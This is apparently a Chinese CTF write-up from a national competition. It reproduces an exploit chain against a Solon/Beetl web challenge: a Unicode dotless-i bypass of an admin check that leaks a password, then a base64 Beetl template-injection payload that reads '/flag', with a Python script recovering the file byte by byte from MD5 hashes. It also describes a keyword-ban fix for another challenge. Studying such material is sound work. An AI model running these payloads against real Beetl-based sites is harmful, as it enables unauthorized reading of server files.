前言
这次国赛算是爆种了,拿下了全国总冠军。
微信公众平台 (qq.com)
算是让天枢后继有人了吧。
(领奖的那位是我hhhhh,在左二挨着川大网安院院长)
主要还是第二天的渗透比较适合我吧哈哈,天时地利人和,队友也很给力,最后直接一鼓作气冲到了榜首😀
渗透的wp不打算写,反正网上也有打的比我多一道题的写了wp,我们渗透是并列第二,据说云镜会上,到时候再看看能不能冲下DC了却当时的遗憾。
第一天的awdp的web,我就修了一个solon-master,那道的fix很简单,因为lib里可以发现snakeyaml和logback,直接把关键字snake和log给ban掉就可以了,然后我过滤得更狠,直接什么@、$、< 这些常见打json格式的反序列化符号给ban了,所以意外的第三轮就拿下了fix,并列二血fix吧算,近乎是吃满了check🤭🤭🤭
唯独这个Fobee让我头疼,当时我几乎后面几个小时都在看这个,然而修出来的也只有几个队,打出来的也不过三个数。
其中一个打法是学长给的,这里做一下浅浅的复现(学长tql呜呜呜呜)
题目分析
首先是看看代码逻辑:
IndexController.java:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80
| package com.fobee;
import java.security.MessageDigest; import java.security.NoSuchAlgorithmException; import java.util.Base64; import java.util.HashMap; import java.util.Random; import org.beetl.core.BeetlKit; import org.noear.solon.annotation.Controller; import org.noear.solon.annotation.Mapping; import org.noear.solon.core.handle.ModelAndView;
@Controller public class IndexController { private static final String CHARACTERS = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"; private static final String password = generateRandomString(10);
public IndexController() { }
@Mapping("/") public ModelAndView index(String username) throws Exception { ModelAndView model = new ModelAndView("index.htm"); if (username != null && !username.isEmpty() && username.equalsIgnoreCase("admin") && !username.toLowerCase().equals("admin")) { model.put("msg", "=====" + password + "====="); return model; } else { model.put("msg", "hello"); return model; } }
@Mapping("/render") public ModelAndView render(String pass, String tp) throws Exception { ModelAndView model = new ModelAndView("render.htm"); if (pass != null && pass.equals(password)) { byte[] decode = Base64.getDecoder().decode(tp); String result = BeetlKit.render(new String(decode), new HashMap()); System.out.println(result); model.put("msg", getMD5Hash(result)); } else { model.put("msg", "Render Page"); }
return model; }
@Mapping("/env") public String env() throws Exception { return System.getProperty("java.version"); }
public static String generateRandomString(int length) { Random random = new Random(); StringBuilder sb = new StringBuilder(length);
for(int i = 0; i < length; ++i) { int index = random.nextInt("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789".length()); sb.append("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789".charAt(index)); }
return sb.toString(); }
public static String getMD5Hash(String input) throws NoSuchAlgorithmException { MessageDigest md = MessageDigest.getInstance("MD5"); md.update(input.getBytes()); byte[] digest = md.digest(); StringBuilder sb = new StringBuilder(); byte[] var4 = digest; int var5 = digest.length;
for(int var6 = 0; var6 < var5; ++var6) { byte b = var4[var6]; sb.append(String.format("%02x", b & 255)); }
return sb.toString(); } }
|
这几个路由基本一目了然,首先是要知道这个ModelAndView的默认传参是GET,传参都搞不明白基本可以告别了。
首先进去的根路由是需要你传参username,但是要满足:
1
| username != null && !username.isEmpty() && username.equalsIgnoreCase("admin") && !username.toLowerCase().equals("admin")
|
本来fix我是想下面反序列化修不动,在这里过滤狠一点,但是当然也是check不过。
它又要你是admin,又要你toLowerCase绕过不是admin,那怎么绕???
其实你打开IDEA,拖过去到toLowerCase,它自己就告诉你了:
这个locale的不一致会导致一个字符有多种识别方式,这里就告诉你了 i 在LATIN SMALL LETTER重等效于 \u0131 ,其实不需要深入理解,这里就能绕了,进去后就能那道password的回显。
我们接着看路由,下面的render路由,很容易看到attack的点在
1 2
| byte[] decode = Base64.getDecoder().decode(tp); String result = BeetlKit.render(new String(decode), new HashMap());
|
首先是base64解密传参的tp,然后调用到BeetlKit.render进行渲染,其实应该就是个SSTI。
但是进入这里需要password,而上面若绕进去了就拿到了password,所以基本上就完成了。
怎么打SSTI呢,我们解包一下这个BeetlKit跟进一下:
一个打模板注入的地方。
然而好像没有什么用,看不出来他要干啥,具体原理这里有篇文章可以看看:
一次意外的代码审计—-JfinalCMS审计 - 先知社区 (aliyun.com)
这下SSTI会打了,其实就是利用这个接口实现恶意类加载,但是beetlKit过滤得有点狠,常规的直接打runtime行不通。
所以需要找到它内部什么玩意能调用runtime打成功,学长找到了
1
| org.antlr.v4.runtime.misc.Utils.readFile
|
显然这里可以直接读文件,但是回显需要类似盲注的手段,一个个字符读出来(tql学长wwwww),然后下面它会自己把读到的东西进行MD5加密并打在网页上。
这个/env也可以看一下,反正都是jdk1.8所以意义不大。
所以思路就有了:
1 2 3
| 1、 根路由admin绕过拿password 2、 带password访问/render,tp使用base64加密的恶意注入payload读flag,由MD5格式爆出 3、 MD5一个个字符爆破
|
看起来还挺简单,但是断网环境确实很折磨,总有那么几个环境问题,而且审计需要靠自己,比赛也很紧张,所以做出来的人确实很牛至了。
EXP
这里我在vps上自搭环境测试:
先admin绕过,但是要url编码:
1
| <url>/?username=adm%C4%B1n
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| import requests import base64 from bs4 import BeautifulSoup import string import hashlib
hash_string = []
for i in range(0, 100000): payload = base64.b64encode(('${@java.util.Arrays.toString(@org.antlr.v4.runtime.misc.Utils.readFile("/flag")).charAt(' + str(i) + ')}').encode('utf-8')).decode('utf-8') rsp = requests.get(f'http://vps:8888/render?pass=FuTKLliOry&tp={payload}') soup = BeautifulSoup(rsp.text, 'html.parser') md5_element = soup.select_one('div#title-desktop') if md5_element is not None: md5val = md5_element.text print(md5val) hash_string.append(md5val) else: break
hash_string = '\n'.join(hash_string)
map = dict() for c in string.printable: map[hashlib.md5(c.encode()).hexdigest()] = c
val = hash_string.split('\n') print(len(val))
flag = '' for cc in val: if cc in map: flag += map[cc] print(flag)
|
然后读文件一个个字符MD5爆破:
在此佩服一下学长的牛至做法,比赛场上俩学长都用类似这种方法做的,都tql~~~orz